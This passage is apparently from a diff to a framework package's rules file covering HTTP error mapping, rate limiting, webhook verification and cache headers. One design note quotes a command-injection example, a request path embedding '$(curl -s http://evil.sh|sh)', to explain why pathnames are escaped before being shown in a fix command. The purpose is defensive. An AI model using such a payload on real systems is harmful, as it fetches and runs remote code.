- answers **404** on every 4xx and 5xx this package has ever rendered. `docs` is now core's
400
- `ERROR_DOCS_URL`, one wiki page for every code, and it is never spelled here: a construction site
401
- omits `docs:` and `UltimateError` resolves it. `type` did NOT follow it there. It is RFC 9457's
402
- primary identifier for the problem KIND — a client switches on it — so collapsing it onto one
403
- page would have given a 422 and a 403 the same identifier. `problemTypeFor(code)` answers
404
- `urn:ultimate:error:<CODE>`: per code, stable, and a URN has no host to rot. `finalize.ts`'s
405
- `lastResort` spells its one `type` as a literal because that function calls nothing, and
406
- `pipeline-finalize.test.ts` pins the literal against `problemTypeFor('X_INTERNAL')` so the two
407
- cannot drift. Never assert either value as a copied string — import the constant.
408
- - **`error-map.ts` answers the status; `error-facts.ts` renders the throwable** (`As of
409
- 2026-08-24`). One file did both and reached 501 lines, over the ceiling. The seam between
410
- them is `declaredStatusFor(code)` — `number | undefined`, exported to this package only —
411
- because the two questions are genuinely different: `statusFor` always answers a number, while
412
- "did ANYBODY classify this code" is what decides whether a 5xx may carry the throwable's own
413
- words back to the caller (`isUnclassifiedFailure`). Imports go one way, `error-facts.ts` →
414
- `error-map.ts`; a status read from the facts file would be the second table this package
415
- spent a release deleting.
416
- - Statuses live in `error-map.ts` only. No other file writes a status number. The framework's
417
- table (`ERROR_STATUS`) is closed; an app declares its own codes' statuses with
418
- `registerErrorStatus()`, which refuses a code the framework already holds. Without that half,
419
- every app code was 500 and `pipeline.ts` paged the on-call for a wrong password. There is
420
- deliberately **no projection of the app's half**: `appErrorStatus()` was exported for "`x errors
421
- list` and the manifest" and neither ever called it (deleted 2026-08). It could not have worked —
422
- `APP_ERROR_STATUS` is process-global runtime state filled by the app's own imports, while both
423
- named surfaces are build artefacts derived from source, so in a CLI process it answers `{}`.
424
- Wiring one means deriving it from source, not re-exporting the map.
425
- - **A handler's own `Response.status` is never rewritten.** `error-map.ts` answers the status of a
426
- THROW; a status a handler chose — `html(page, { status: 404 })`, which is what a page route's
427
- `withStatus(404, data)` in `@ultimat3/render` becomes — passes through every stage as written,
428
- body included, in dev and in production. `pipeline-handler-status.test.ts` pins it, because the
429
- render seam is only true while this is: ai-maxxing's `/fleet/nope` answered 200 for as long as
430
- the only way to a 404 was the error page, outside the app's shell.
431
- - **The context carries the inbound headers, never the `Request`.** `ctx.requestHeaders` is set
432
- once at construction; `useRequestHeader` / `useRequestCookie` are what app code reads, and
433
- `UltimateRequest.cookie()` is what `hooks.authenticate` reads. A `Request` on the context is a
434
- second body reader past the size cap, the content-type parse and the cache.
435
- - **`hooks.authenticate` has one declaration site: `configureAuthenticator()`.** A single value,
436
- not a list — two answers to "who is this?" is two identities per request. `@ultimat3/auth` is
437
- the same tier and can never import this package, so the app is what wires them together.
438
- - **`hooks.devNotices` is dev-only, and the overlay path is the only place it is called.**
439
- `OverlayNotice` is declared structurally in `overlay.ts` because the packages that produce one
440
- — `@ultimat3/entity`'s N+1 codes, reported by `x dev` — are this tier or above and can never be
441
- imported here, exactly as `AuthzDecision` is. The call sits INSIDE the
442
- `config.dev && wantsOverlay` branch: the overlay is a notice's only surface, so a production
443
- process, or an agent that asked for problem+json, must not pay a diagnostic's per-request cost
444
- for findings nothing renders. No notices means no card, byte for byte.
445
- - **`matchRoute` never throws — a pathname is whatever the client typed.** `decodeURIComponent`
446
- is called only through `router.ts`'s guarded `decodeSegment`, and a segment that will not decode
447
- answers `{ reason: 'path-invalid', segment }` → `X_PATH_INVALID` → 400. A bare `URIError` here
448
- reached `factsOf` as `X_INTERNAL`, so a `%ZZ` answered 500 and paged the on-call for a typo.
449
- Only the branch that would have decoded fails: static segments are compared raw, so a path that
450
- reaches no param or wildcard is still a 404 and precedence is unchanged.
451
- - **`handle()` resolves to a Response or the server has no answer at all.** The request phases are
452
- guarded by `execute`'s own `try`; the two that run after them are guarded in `finalize.ts`, and
453
- neither guard is optional. A finalize stage that refuses the response it was handed degrades to
454
- `X_PIPELINE_FINALIZE_FAILED` (500), and the chain runs a **second** pass over that problem
455
- document — whose headers are writable — so the request id, CORS and the security headers still
456
- reach the client. Two passes, never a loop. A throw inside the recover stage (an app's `onError`,
457
- a `devNotices` producer) is answered with the problem document for the error the request actually
458
- hit: the stage that renders a throw has nothing left to render its own. Every degraded answer goes
459
- *through* the recover stage, never around it — reporting, logging and the overlay each keep one
460
- call site.
461
- - **Both guards in that tail are TOTAL against a throwable that fights being read** (`As of
462
- 2026-08`). `recoverWith`'s catch built its log line with `String(failure)`, which is itself a
463
- `TypeError` on a null-prototype object — thrown out of the one guard documented "never throws, by
464
- construction", from the frame with nothing above it. It is a log FIELD now, the same rule the
465
- `error-map` stage already follows, and `logger.emit` degrades a hostile field per key. The second
466
- half is `factsOf`: it read `record['code']` directly, and that read is a getter call or a
467
- `Proxy`'s `get` trap on a value the framework did not build — so a handler throwing one took the
468
- recover stage AND the `problem()` the guard degrades to, and `handle()` rejected. Every field
469
- comes off the throwable through core's `stringField`. Never spell either read inline again:
470
- `String(x)`, `${x}` and a bare property read on a caught value are all the same defect, and
471
- `error-render.ts` names seven prior instances.
472
- - **A table keyed by a `code` is read with `Object.hasOwn`, never `[code] !== undefined`** (`As of
473
- 2026-08`). `code` is a string off a throwable this package did not build, so `ERROR_STATUS` and
474
- `HTTP_ERROR_TITLES` — object literals, and therefore holders of every name on
475
- `Object.prototype` — answered `'toString'`, `'constructor'`, `'valueOf'` and `'hasOwnProperty'`
476
- with a FUNCTION. `statusFor` handed that to `new Response(body, { status })`, a `RangeError`
477
- raised inside `recoverWith`'s fallback, and `handle()` rejected: the same defect class as the
478
- reads above, arriving through a lookup instead of a property. `registerErrorStatus` had the third
479
- copy, refusing an app code named `toString` with a cause reading `the framework already maps it
480
- to function toString() { [native code] }`. `scripts/error-map.ts` reads this table correctly and
481
- always has. `APP_ERROR_STATUS` is a `Map`, which is why it never had the bug — prefer one for
482
- anything keyed by a value a caller chose.
483
- - **`recoverWith`'s fallback is INSIDE its `try`.** `return problem(ctx.error, …)` sat beside the
484
- guard, so the file whose one promise is "never throws, by construction" rested on every reader
485
- below that line being total. The degraded answer is a literal `problem+json` document naming
486
- `X_INTERNAL`, built with no call that could fail in turn, and the renderer's own failure goes to
487
- the log as `pipeline.problem_failed` — a last resort sharing a code path with what just broke is
488
- not one.
489
- - **One request spends a LIST of rate-limit keys, and the tenant's is the second** (`As of
490
- 2026-08-24`). `rateLimitKey` picked ONE subject — actor > org > ip, exclusive — and `actorView`
491
- answers `null` for anonymous, so `orgId` was consulted only for a caller with an org and no id:
492
- **no authenticated request ever touched an org bucket**. A tenant with 8,000 seats whose
493
- integration entered a retry loop therefore took 8,000 × the per-actor burst against one shared
494
- pool, every bucket inside its own limit, and no number an operator could set would have refused
495
- it — while `@ultimat3/jobs` has had `perTenant` since it shipped. `rateLimitSpends` answers the
496
- caller's key **and** `tenant|org:<id>` when the app declared `rateLimit.tenantBucket`; the stage
497
- spends them in order and stops at the first refusal, so a caller its own bucket already refused
498
- costs its tenant nothing. The tenant key is deliberately NOT scoped to the route — a per-route
499
- tenant bucket is the same number multiplied by the route table, which is not a cap. `null` is
500
- the default because one tenant is a person and the next is five thousand seats (axiom 8), and a
501
- name nothing declares is `X_RATE_LIMIT_TENANT_BUCKET_UNKNOWN` at `defineHttpConfig`, never a
502
- silent fall-through to `default`. The headers report the bucket **closest to refusing**: telling
503
- a client `remaining: 99` off its own bucket while its tenant's holds 2 is a number that plans a
504
- caller into a 429.
505
- - **The memory rate-limit store is bounded, and the eviction order is part of the guarantee.**
506
- The key falls back to the connection address (`rateLimitSpends`), so a scan rotating through an
507
- IPv6 /64 mints one entry per request — an unbounded map hands the flood the process. Every
508
- entry carries `forgetAtMs`, the instant a refilled bucket becomes indistinguishable from a
509
- missing one, and the sweep drops those for free. `DEFAULT_MAX_RATE_LIMIT_KEYS` is the backstop,
510
- and it evicts the entries **closest to full** first: throwing away a spent bucket is a free
511
- reset for whoever spent it, so the most-throttled key is the last one to go. Never swap that
512
- comparator for insertion order or an LRU — recency is not the same as worthlessness here.
513
- - **The limiter takes a `Clock`; `Date.now()` is not read here** (`As of 2026-08-19`). `rate-limit.ts`
514
- read it inline while BOTH production call sites (`server.ts`, `pipeline.ts`) built their limiter
515
- with no override, so the bucket maths that decides whether a caller is throttled could not be
516
- frozen by any test — while `@ultimat3/auth`'s credential limiter has taken an injected `Clock`
517
- since it shipped. `createRateLimiter({ clock })` defaults to `systemClock`, the same shape as
518
- `createRequestContext`'s `init.clock`. Deliberately NOT a `clock` on `PipelineDeps`:
519
- `deps.limiter` is already the one seam for handing the pipeline a limiter you built, and a second
520
- entry point for one number is axiom 1.
521
- - **Where the limiter's counters live is DECLARED by the app, never inferred, and refused at
522
- boot — and there is no default.** `DEFAULT_RATE_LIMIT` carries no `scope`, so
523
- `resolveRateLimitConfig` refuses `X_RATE_LIMIT_SCOPE_UNSET` at `defineHttpConfig` when a limiter
524
- that is ENABLED has not been told. `'process'` used to be the default, which made "nobody asked"
525
- and "the app said one replica" the same value while `docker/helm/values.yaml` runs three — so
526
- `assertRateLimitScope` below, which only fires on a `'shared'` declaration, could never see the
527
- silent case. A disabled limiter owes no declaration: nothing is enforced, so nothing can be
528
- wrong. The rest of the check is unchanged: `RateLimitStore.scope` says what a driver provides; `config.rateLimit.scope` says what
529
- the deployment requires; `assertRateLimitScope` compares them once, inside `createPipeline` —
530
- the one construction path `createServer`, the tests and any embedder all share. `'shared'` over
531
- a per-process store is `X_RATE_LIMIT_NOT_SHARED` before the socket opens, because the failure it
532
- replaces is silent: the limiter's counters are **per process**, and `docker/helm/values.yaml`
533
- runs `roles.web.replicas: 3` before its HPA has said anything, so every configured bucket was
534
- being enforced three times over with a green `x verify`. Nothing here reads the
535
- environment to guess a replica count — an app that scales is the only thing that knows. The
536
- supported way to install one is `createServer({ rateLimitStore })`, which builds the limiter
537
- through `createRateLimiter` and hands it to the `PipelineDeps.limiter` seam that already
538
- existed; never add a second limiter entry point beside it.
539
- - **The shared store is `postgresRateLimitStore({ executor })`, and it is what makes
540
- `scope: 'shared'` satisfiable** (`As of 2026-08`). Before it, `assertRateLimitScope` refused
541
- every store the framework shipped, so the declaration required by a chart with `replicas: 3` had no
542
- answer. `PgExecutor` is declared STRUCTURALLY here, exactly as `@ultimat3/action`'s idempotency
543
- store declares it: this package has no `@ultimat3/db` dependency, and taking one to type a single
544
- method would put the database package in http's install graph. The refill expression is repeated
545
- four times inside `on conflict do update` **on purpose** — only a direct `x_rate_limit.<column>`
546
- reference reads the row as it is after the lock, so a CTE computing it once would compute from
547
- the statement's own snapshot and lose a concurrent spend. `spent` is a stored column because the
548
- token count alone cannot tell a take that landed at 0.5 from a refusal with 0.5 left, and the
549
- invented answer would be "allowed". `purgeExpired(nowMs)` takes the CALLER's clock and never
550
- `now()`: `last_ms` is written from the caller's, so measuring against the server's reads the
551
- offset between the two as refill and deletes buckets a throttled caller is still sitting in.
552
- - **A bucket a route names is a bucket something must register.** `meta.rateLimit` selects by
553
- name and `meta.rateLimitBucket` carries the numbers; `withRouteBuckets` (`rate-limit-buckets.ts`)
554
- merges them into `config.rateLimit.buckets` at construction, in `createServer` and again in
555
- `createPipeline` — idempotently, since the store-backed limiter is built from the merged config
556
- and `bucketFor` must see the same table the pipeline does. It has to happen there: routes do not
557
- exist when `defineHttpConfig` builds the table, so a name declared and never registered fell
558
- through to `default` — an action declaring `limit: 5` ran on 120 burst while its OpenAPI
559
- operation published 5. **Precedence is refusal, not a winner.** An identical restatement passes;
560
- any disagreement, with the config or with another route, is `X_RATE_LIMIT_BUCKET_CONFLICT` before
561
- the socket opens — the same shape as `assertRateLimitScope` and as `@ultimat3/auth`'s
562
- `AuthLimiter` policy check, and for the same reason: the declaration that lost would go on being
563
- read as enforced. Never make one side the default winner.
564
- - **Registering into the config is only half of it — the installed LIMITER must hold the bucket
565
- too.** `createRateLimiter` closes over its config, so a limiter handed to `PipelineDeps.limiter`
566
- resolves names against the table it was built with; one built before the routes existed misses
567
- the route's name, falls through `bucketFor` to `default`, and was measured at 120 burst and 21
568
- of 21 requests allowed for a route declaring 5. `RateLimiter.buckets` publishes that table —
569
- declared, never inferred, exactly as `RateLimitStore.scope` is — and `assertRouteBuckets` runs
570
- beside `assertRateLimitScope` in `createPipeline`. **Refused, never rebound**: a `RateLimiter`
571
- is opaque, so rebinding means discarding the caller's limiter and the store it carries, and a
572
- caller who built their own may have meant their own numbers. A limiter that declares no table
573
- is refused too — what cannot be shown to hold is not assumed to hold.
574
- - **`verifyWebhookSignature` is a FUNCTION, never a pipeline stage** (`As of 2026-08-24`). The
575
- secret is per SENDER, and only the route knows which sender it is serving; a stage would need one
576
- secret for the whole app or a table this package has no business holding. It reads the body
577
- through core's `readWithinLimit` — the same counting reader `UltimateRequest.#read` uses — so it
578
- composes with the cap rather than defeating it, and it answers the raw text so the caller parses
579
- the bytes that were signed rather than a re-serialisation of them.
580
-
581
- The order inside it is load-bearing: the mac is checked BEFORE the freshness window, so
582
- `X_WEBHOOK_SIGNATURE_STALE` means *authentic and old* and never *unreadable and old* — an
583
- operator reading it goes to a clock or a replay, which is the only reason the second code exists.
584
- The window is `Math.abs`, both directions: a sender whose clock runs ahead is the same replay
585
- window pointed the other way, and accepting the future half doubles it. The timestamp is parsed
586
- digits-only because `Number('nope')` is `NaN` and `NaN > toleranceMs` is FALSE — the one guard
587
- whose failure mode is "the check does not run". `:` is refused in the id and the topic because
588
- one mac over `v1:t:evt:01HZ:orders.paid:<body>` would otherwise authenticate two different
589
- id/topic splits. The comparison is `timingSafeEqual` and may never become `===`; `bun run
590
- secret-compare` is the mechanical half and `mac`/`signature` are names it reads.
591
-
592
- **The FORMAT is `@ultimat3/core`'s and is not re-declared here** (`As of 2026-08-24`).
593
- `packages/core/src/webhook-signature.ts` owns the canonical string, the mac and the parse;
594
- this file owns the POLICY — what counts as fresh, how large a body may be, and which refusal a
595
- receiver answers with. It shipped for one release as two implementations, here and in
596
- `@ultimat3/jobs`, held together by a hex literal asserted in two test files: this package is
597
- tier 2 and may not reach tier 3, that one's boundary forbids `http`, so the one copy lives at
598
- the tier both can reach — the argument `timing-safe-equal.ts` makes for itself. The two literal
599
- vectors stay until `scripts/webhook-round-trip.test.ts` replaces them. **Never re-declare the
600
- canonical string here.**
601
- - Never throw a bare `Error` — use a factory from `errors.ts`.
602
- - No `any`. Validation goes through Standard Schema (`validate.ts`), not a vendor API.
603
- - Health endpoints answer outside the pipeline, on purpose.
604
- - **Lifecycle belongs to core.** `server.ts` uses `beginWork()`, `markReady()`,
605
- `drain()` and `healthzPayload()`/`readyzPayload()`. Never keep a private `state` or
606
- in-flight counter — core waits on work it does not know about, so a private counter
607
- hangs every deploy at the `inflight` phase.
608
- - **`stop()` hands its two hooks back ABOVE its early return** (`As of 2026-09`). The `close` hook
609
- sets `server = undefined`, so on the SIGTERM path `if (server === undefined) return` skipped the
610
- `unregister?.()` pair in the `finally` — for exactly the path production takes. Every later
611
- `stop()` (a test teardown, `x dev`'s role rollback) left both registrations pointing at a socket
612
- that was already gone, and `shutdownHookCount()` — the probe `packages/core/CLAUDE.md` names for
613
- this leak — climbed by two per server per lifecycle. `packages/http/e2e/server.e2e.test.ts` reads
614
- that probe now; the shape is `@ultimat3/jobs`' worker teardown, where the release is the
615
- closure's business and never the drain's.
616
- - **A pathname reaching a `fix:` goes through `renderFixShellArg`** (`As of 2026-09`).
617
- `routeNotFound`'s fix is `x g route <path>`, a command, and the path is whatever an anonymous
618
- caller typed: `GET /$(curl -s http://evil.sh|sh)` rendered that substitution verbatim into the
619
- line the framework tells its reader to paste. The value still travels in the `cause`, which is
620
- read rather than run. `renderFixLiteral` does not cover this — its double quotes leave `$(…)`
621
- live in every POSIX shell.
622
- **A `code` is gated instead of screened** (`As of 2026-09-06`): `factsOf`'s fallback `fix:` is
623
- `x errors explain <code> --json`, and `code` is a string field off a throwable this package did
624
- not build — a worker message, a WebSocket frame, an app's own object — so it goes through core's
625
- `FRAMEWORK_CODE`, never `startsWith('X_')`. A value that is not a code answers nothing anyway,
626
- so the honest command is `x errors list --json`. Same gate, same reason, as `@ultimat3/mcp`'s
627
- `server.ts`; the value still travels in `facts.code`.
628
- **And a SUPPLIED `fix:` is taken only from a BRANDED framework error** (`As of 2026-09-06`). The
629
- gate above screens the code this package renders INTO a command; this one screens a whole command
630
- a throwable handed over. `factsOf` normalises a worker message, a WebSocket frame and any app
631
- object, so a foreign `fix` is remote text landing in the line an operator is told to paste, and a
632
- framework code beside it makes the line read as the framework's own — `isUltimateError`, and
633
- nothing else, is what says the value went through `renderFixShellArg` and this tree's gate. An
634
- error that crossed a wire and lost its brand falls to the generated line, which is honest. The
635
- `cause` still travels: a cause is read, never run.
636
- - **Borrowed error codes are never titled or registered here.** `X_FORBIDDEN` is policy's,
637
- `X_UNAUTHENTICATED` is auth's; both sit in `HTTP_BORROWED_ERROR_CODES`, which carries codes
638
- only. `HTTP_ERROR_TITLES` holds owned codes, and `registerErrorCodes` takes it whole and
639
- unguarded — declaring a borrowed one throws `X_ERROR_CODE_DUPLICATE` at import, which is the
640
- point. `factsOf` therefore reads a borrowed code's title off the error itself, never the map.
641
- - **A `cache-control` age is delta-seconds or it is DROPPED, never emitted** (`As of 2026-08-26`).
642
- `finiteDeltaSeconds` in `response.ts` — `Number.isSafeInteger && >= 0`, per field. `max-age=NaN`
643
- is not a shorter age, it is an unparseable directive a conforming cache IGNORES, so the response
644
- fell back to heuristic caching rather than to the declared age. TOTAL, never a throw: this is the
645
- response path, and a bad cache hint must not become a 500. Every fallback is the SHORTER
646
- direction — `max-age` to 0, `s-maxage` and `stale-while-revalidate` omitted — so nothing here can
647
- lengthen an age the caller did not ask for. `http.cache_hint_not_delta_seconds` names the field.
648
- **The boot-time half is `route-cache.ts`, `As of 2026-08-26`** — the layered form: refuse where
649
- the value is WRITTEN, be total where it is USED. `createRouter` screens `Route.cache`'s three
650
- delta-seconds fields per route and throws `X_CONFIG_INVALID` naming the route and the key, so
651
- `cache: { maxAgeSeconds: Number(process.env.CACHE_AGE) }` fails at boot instead of registering
652
- cleanly and surfacing as one warn line per request, forever. The two screens must accept exactly
653
- the same set: this one decides what may be DECLARED, `finiteDeltaSeconds` what may be WRITTEN,
654
- and a value one accepts and the other drops is a silent hole between them. **Zero stays legal at
655
- both ends** — `max-age=0` is "revalidate every time" and `PRIVATE_CACHE`, `defaultCache`'s
656
- anonymous hint and the CLI's authorized-object hint all declare it. `ctx.cache` is NOT screened
657
- and must not be: it is app-set per request at runtime, which is the total side by definition.
658
- - Tests must not touch the network — the preload seals `fetch`. Socket tests live in
659
- `e2e/` and run with `bun test packages/http/e2e`, sealed: `start()` calls core's
660
- `markListening()`, so the seal treats our own port as self, not egress. Never unseal.
24
+ - **An app declares its half of `HttpConfig` through `configureHttp()`**, and the boot lays its own
25
+ facts over it. `AppHttpConfig` is `Omit<HttpConfigInput, BootOwnedHttpKey>` — derived, so a
26
+ boot-owned key (`port`, `hostname`, `dev`, `buildId`, `signInPath`, `trustProxy`,
27
+ `trustedProxyHops`, `rateLimit.scope`) is a type error where an app writes it. `mergeHttpConfig`
28
+ merges `security.csp.extend` per directive. `type-pins.ts` refuses a key on `HttpConfig` missing
29
+ from `HttpConfigInput`.
30
+ - **`config.drainTimeoutMs` defaults to `null`**: `createServer` calls `configureLifecycle({
31
+ deadlineMs })` only when declared. **`ServerOptions.drain`** (`app.config.ts`'s `drain`) passes
32
+ `readinessGraceMs` to core the same way.
33
+ - **`cors.origins: ['*']` with `credentials: true` is `X_CORS_CONFIG_INVALID`.** A refused origin
34
+ still gets `vary: origin`.
35
+ - **A `security.csp.extend` entry must emit only the directive it names**
36
+ (`X_CSP_DIRECTIVE_INVALID`); `buildCsp` builds through a `Map`.
37
+ - **The security headers are built once per `(SecurityConfig, https)`** (`responseSecurityHeaders`, a
38
+ `WeakMap`); a config is never mutated after `defineHttpConfig`. HSTS only when `ctx.https` is affirmed.
39
+
40
+ ## Rules — the context
41
+
42
+ - **`asCtx` is a WIDENING the compiler checks, never a cast** (`RequestContext extends Ctx`;
43
+ `_RequestContextIsACtx` in `type-pins.ts`). `ctx.buildId` is the process's build;
44
+ `ctx.clientBuildId` is the client's claim, read only by `assertBuild()`.
45
+ - **`createRequestContext` COMPOSES `createContext()`** — no assertion in this file, and
46
+ `defineService` factories and the service spread are core's. Services go on FIRST so a service
47
+ named `actor` loses to the request's field (`context.test.ts`).
48
+ - **A request's registered services are LAZY and bound to the authenticated actor**
49
+ (`request-services.ts`, `installServices: false` + `bindRequestServices`): built on first read,
50
+ rebuilt only if actor, locale or tz changed. `request-services.test.ts`.
51
+ - **A member's saved locale and zone apply, re-resolved after `auth`**
52
+ (`resolvePreferences`; cookie beats a saved locale, a saved zone beats the cookie).
53
+ `member-preferences.test.ts`.
54
+ - **The `locale` stage decides WHERE, the owners decide WHAT**: raw strings to `@ultimat3/i18n`'s
55
+ `resolveLocale` and `@ultimat3/time`'s `resolveTimeZone`, landing on core's `ctx.locale`/`ctx.tz`.
56
+ Defaults are `configureTime({ defaultZone })` / `defineCatalogs({ default })`, never `HttpConfig`.
57
+ - **`ctx.actor` is never null** — the `auth` stage turns the hook's `null` into `anonymousActor()`.
58
+ - **The context carries the inbound headers, never the `Request`** (`ctx.requestHeaders`,
59
+ `useRequestHeader` / `useRequestCookie`).
60
+ - **`hooks.authenticate` has one declaration site: `configureAuthenticator()`.**
61
+ - **`hooks.devNotices` is called only inside the `config.dev && wantsOverlay` branch.**
62
+
63
+ ## Rules — the pipeline
64
+
65
+ - **The lifecycle is three files**: `pipeline.ts` owns the ORDER (`PIPELINE_STAGES`, phases, loop,
66
+ ALS, span, the one metrics call); `stages.ts` owns what each stage does and the vocabulary;
67
+ `finalize.ts` owns the tail. Imports go `pipeline.ts` → `stages.ts`; a stage reads
68
+ `StageRunnersInput`, never `PipelineDeps`. A new stage is an entry in both `PIPELINE_STAGES` and the
69
+ `Record<StageName, StageRun>` table, with a `why` and a test.
70
+ - **The two inbound ids are read BEFORE the context and the span** (`correlation.ts`, core's
71
+ `parseTraceparent`). `x-request-id` is gated on `trustProxy`; `traceparent` deliberately is not.
72
+ - **Every proxy-supplied header goes through `forwardedElement(header, hops)`** — the entry at
73
+ `entries.length - hops`, never `[0]`; a short chain trusts nothing. `trustProxy` defaults to false
74
+ and requires `trustedProxyHops`. `x-forwarded-proto` (HSTS) and Envoy XFCC (`peer-identity.ts`) ride
75
+ it; `ctx.peer` is `null` unless trusted and is never an actor.
76
+ - **One deadline per request** (`deadline.ts`): `requestTimeoutMs` (30 s, `0` disables), shortenable
77
+ by `x-request-timeout-ms`, never lengthened. `ctx.signal` is the deadline OR the caller going away
78
+ (`AbortSignal.any` with `Request.signal`); `expired` is the timer's alone. `Deadline.deadlineAt` is
79
+ published as core's `ctx.deadlineAt`, which `traceHeaders()` sends onward. Always `deadline.clear()`
80
+ in the `finally`.
81
+ - **`admit` is the second stage and refuses before ANY work**: past `maxInflight` (1000) is
82
+ `X_OVERLOADED` with `retry-after`, counted by core's `inflightCount()`. **A DRAINING process
83
+ serves** with `connection: close`; only `lifecycleState() === 'stopped'` answers `X_DRAINING`
84
+ (`pipeline-hardening.test.ts`).
85
+ - **`csrf` sits after `auth` and before `body`**: an ambient-credential unsafe request needs
86
+ `sec-fetch-site: same-origin`, an `Origin` equal to this app (from `ctx.https`), or one EXACTLY in
87
+ `cors.origins` (`originListed`, never `allowedOrigin`); else `X_CSRF_BLOCKED` (403). No
88
+ `mode: 'token'`.
89
+ - **`meta.enforcedBy` says who evaluates `meta.policy`**: `'pipeline'` (default) decides via
90
+ `hooks.authorize`; `'handler'` stands the `authz` stage down.
91
+ - **A 403's `fix:` names the POLICY** (`route.meta.policy`), degrading to `x routes --json` for a
92
+ composite.
93
+ - **The body cap is enforced while reading** (`UltimateRequest.#read`'s counting reader, cancelling
94
+ past `bodyLimitBytes`); multipart goes through the same capped bytes.
95
+ - **A repeated field is a LIST in all three parsers** (`collectFields`).
96
+ - **`matchRoute` never throws**: `router.ts`'s `decodeSegment` answers `path-invalid` →
97
+ `X_PATH_INVALID` (400).
98
+ - **`handle()` resolves to a Response or nothing**: request phases are guarded by `execute`, the tail
99
+ by `finalize.ts` — a refusing finalize stage degrades to `X_PIPELINE_FINALIZE_FAILED` with a second
100
+ pass; everything degraded goes THROUGH the recover stage. **Both guards are TOTAL** (`String(x)`
101
+ and bare property reads on a caught value are forbidden; `factsOf` uses core's `stringField`), and
102
+ **`recoverWith`'s fallback is INSIDE its `try`** (a literal `X_INTERNAL` document, logged
103
+ `pipeline.problem_failed`).
104
+ - **`toBucket` lives here** (action and query both need it). **`ERROR_STATUS`'s keys are LITERAL**
105
+ (`satisfies`, pinned by `@ts-expect-error` in `error-map.test.ts`); non-literal codes go through
106
+ `statusFor()` / `BY_CODE` with `Object.hasOwn`. A table keyed by a caller's code is read with
107
+ `Object.hasOwn`, or is a `Map` (`APP_ERROR_STATUS`).
108
+ - **The `cache-headers` stage is the ONE owner of the final cache answer**: `offersSharedCache` turns a
109
+ shared answer for an identified request into `PRIVATE_CACHE` and gives an anonymous one
110
+ `SHARED_CACHE_VARY` (`accept-language, cookie`); `immutable` is left alone. `vary` is added, never
111
+ set (`addVary`).
112
+ - **A `cache-control` age is delta-seconds or DROPPED** (`finiteDeltaSeconds`, total, always the
113
+ shorter direction; logs `http.cache_hint_not_delta_seconds`). Its boot half is `route-cache.ts`:
114
+ `createRouter` refuses a bad `Route.cache` with `X_CONFIG_INVALID`. Both accept the same set; zero
115
+ is legal. `ctx.cache` is not screened.
116
+ - **A handler's own `Response.status` is never rewritten** (`pipeline-handler-status.test.ts`).
117
+ - Health endpoints answer outside the pipeline. **Lifecycle belongs to core** (`beginWork()`,
118
+ `markReady()`, `drain()`, the payloads) — never a private state or in-flight counter.
119
+ - **`stop()` hands its two hooks back ABOVE its early return** (`packages/http/e2e/server.e2e.test.ts`
120
+ reads `shutdownHookCount()`).
121
+
122
+ ## Rules — errors and the problem document
123
+
124
+ - Statuses live in `error-map.ts` only; the framework table is closed and an app declares its codes
125
+ with `registerErrorStatus()` (refuses a framework code). No projection of the app's half.
126
+ **`error-facts.ts` renders the throwable**; the seam is `declaredStatusFor(code)`, imports one way.
127
+ - **A problem's `type` is `problemTypeFor(code)` = `urn:ultimate:error:<CODE>`; its `docs` is core's
128
+ `ERROR_DOCS_URL`.** `finalize.ts`'s `lastResort` literal is pinned against `problemTypeFor('X_INTERNAL')`.
129
+ - **A 5xx cause is withheld unless its code opts in** (`hasPublicCause`, `problem-meta.ts`;
130
+ `registerProblemMeta({ CODE: { publicCause: true } })`). `toProblem(error, { dev })` defaults `dev`
131
+ to false. An unclassified 5xx carries nothing off the throwable.
132
+ - **The document carries the ISSUE LIST** as a top-level `issues` member: `issuesOf` is total,
133
+ all-or-nothing, absent (never `[]`) when none, dropped past `MAX_PROBLEM_ISSUES` (100), dropped under
134
+ the opacity condition; `received` forced to `''`, entries rebuilt member by member.
135
+ - **`meta` reaches the document only by declaration** (`registerProblemMeta({ CODE: [keys] })`, app
136
+ codes only; not `issues`, not `__proto__`): `wireMeta` copies declared keys through
137
+ `Object.defineProperty`, bounded by `MAX_PROBLEM_META_BYTES`, dropped when opaque.
138
+ - **A rejected value is a log FIELD, never the message** — the `error-map` line's message is the code alone.
139
+ - **A rejected BODY names only what the framework chose**: `bodyInvalid`'s `issues` are a fixed
140
+ vocabulary; what the caller sent rides in `meta`; the parser's message goes through `renderThrowable`.
141
+ - **A browser failing `auth: 'required'` is redirected; an agent gets the problem document**
142
+ (`auth-redirect.ts`, in `error-map` before the overlay). `config.signInPath` is `null` until named.
143
+ `nextAfterSignIn` is the ONE `?next=` reader: same-origin paths only, a control character is
144
+ off-site, re-parsed against an unreachable origin, never throws.
145
+ - **A pathname in a `fix:` goes through `renderFixShellArg`** (`routeNotFound`). **A `code` is gated by
146
+ core's `FRAMEWORK_CODE`** before `x errors explain <code>`, else `x errors list --json`. **A supplied
147
+ `fix:` is taken only from a branded error** (`isUltimateError`).
148
+ - **Borrowed codes are never titled or registered here** (`HTTP_BORROWED_ERROR_CODES`: `X_FORBIDDEN`,
149
+ `X_UNAUTHENTICATED`, …); `factsOf` reads a borrowed code's title off the error.
150
+ - Never throw a bare `Error` — use a factory from `errors.ts`. No `any`. Validation goes through
151
+ Standard Schema (`validate.ts`).
152
+
153
+ ## Rules — rate limiting
154
+
155
+ - **One request spends a LIST of keys**: the caller's and, when `rateLimit.tenantBucket` is declared,
156
+ `tenant|org:<id>` (not route-scoped); stop at the first refusal; an undeclared name is
157
+ `X_RATE_LIMIT_TENANT_BUCKET_UNKNOWN`. Headers report the bucket closest to refusing.
158
+ - **The memory store is bounded** (`forgetAtMs` sweep, `DEFAULT_MAX_RATE_LIMIT_KEYS`, evicting the
159
+ entries closest to FULL first — never LRU).
160
+ - **The limiter takes a `Clock`** (`createRateLimiter({ clock })`); `deps.limiter` is the one seam.
161
+ - **The scope is DECLARED, with no default**: an enabled limiter without `scope` is
162
+ `X_RATE_LIMIT_SCOPE_UNSET`; `assertRateLimitScope` (in `createPipeline`) refuses `'shared'` over a
163
+ per-process store (`X_RATE_LIMIT_NOT_SHARED`). Install through `createServer({ rateLimitStore })`.
164
+ - **`postgresRateLimitStore({ executor })` is the shared store**, over a structural `PgExecutor`. The
165
+ refill expression is repeated inside `on conflict do update` on purpose; `spent` is a stored column;
166
+ `purgeExpired(nowMs)` takes the caller's clock.
167
+ - **A bucket a route names must be registered**: `withRouteBuckets` merges `meta.rateLimitBucket`
168
+ into the table in `createServer` and `createPipeline`; any disagreement is
169
